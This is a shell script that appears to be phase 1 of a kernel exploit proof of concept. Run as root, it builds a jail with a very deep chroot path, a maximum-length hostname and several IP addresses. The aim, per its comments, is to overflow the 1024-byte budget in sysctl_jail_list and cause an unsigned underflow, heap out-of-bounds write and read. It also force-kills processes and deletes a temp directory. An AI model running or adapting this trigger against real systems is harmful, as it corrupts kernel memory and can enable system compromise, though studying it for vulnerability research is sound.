#!/bin/sh
# DF-0053 phase 1 - create ONE jail with deep chroot path + max hostname +
# many IPs, so sysctl_jail_list's per-jail formatted output exceeds the
# 1024-byte budget -> unsigned underflow -> heap OOB write + OOB read.
#
# Run as root:  sh setup_jail_v2.sh <depth> <n_ips>
#   depth default 60 (path_len ~967)
#   n_ips default 4

set -u

DEPTH=${1:-60}
N_IPS=${2:-4}

pkill -9 jail 2>/dev/null
pkill -9 -f "/s$" 2>/dev/null
sleep 2

rm -rf /tmp/jt
mkdir -p /tmp/jt

# Static sleeper binary (chroot has no /bin/sh; jail needs SOMETHING to exec).
cat > /tmp/jt/s.c <<'C'
#include <unistd.h>
int main(void){ for(;;) pause(); return 0; }
C
cc -static -O2 -o /tmp/jt/s /tmp/jt/s.c

# Deep path: one mkdir per level (mkdir -p mangles long paths on DF).
p=/tmp/jt
n=0
while [ "$n" -lt "$DEPTH" ]; do
    p="$p/lllllllllllllll"
    if ! mkdir "$p" 2>/dev/null; then
        echo "setup_jail_v2: mkdir failed at depth=$n (path_len=$(printf '%s' "$p" | wc -c))"
        break
    fi
    n=$((n+1))
done
echo "setup_jail_v2: depth=$n path_len=$(printf '%s' "$p" | wc -c)"

# Copy sleeper into chroot as /s (jail's chroot root)
cp /tmp/jt/s "$p/s"
ls -la "$p/s"

# Max-length hostname (MAXHOSTNAMELEN=256 incl NUL -> 255 printable chars).
host=$(printf 'h%.0s' $(seq 1 255))
echo "setup_jail_v2: host_len=${#host}"

# N_IPS comma-separated IPv4 addresses.
ips=10.0.0.1
i=2
while [ "$i" -le "$N_IPS" ]; do
    ips="$ips,10.0.0.$i"
    i=$((i+1))
done
echo "setup_jail_v2: ips=$ips"

# Launch jail in background.  The sleeper inside keeps the prison alive
# even after this script (and the parent ssh session) exits.
/usr/sbin/jail "$p" "$host" "$ips" /s </dev/null >/tmp/jt/jout 2>&1 &
sleep 3

echo "--- jout (errors if any) ---"
cat /tmp/jt/jout 2>/dev/null
echo "--- jls ---"
/usr/sbin/jls
echo "--- sleeper procs ---"
pgrep -lf "/s$"
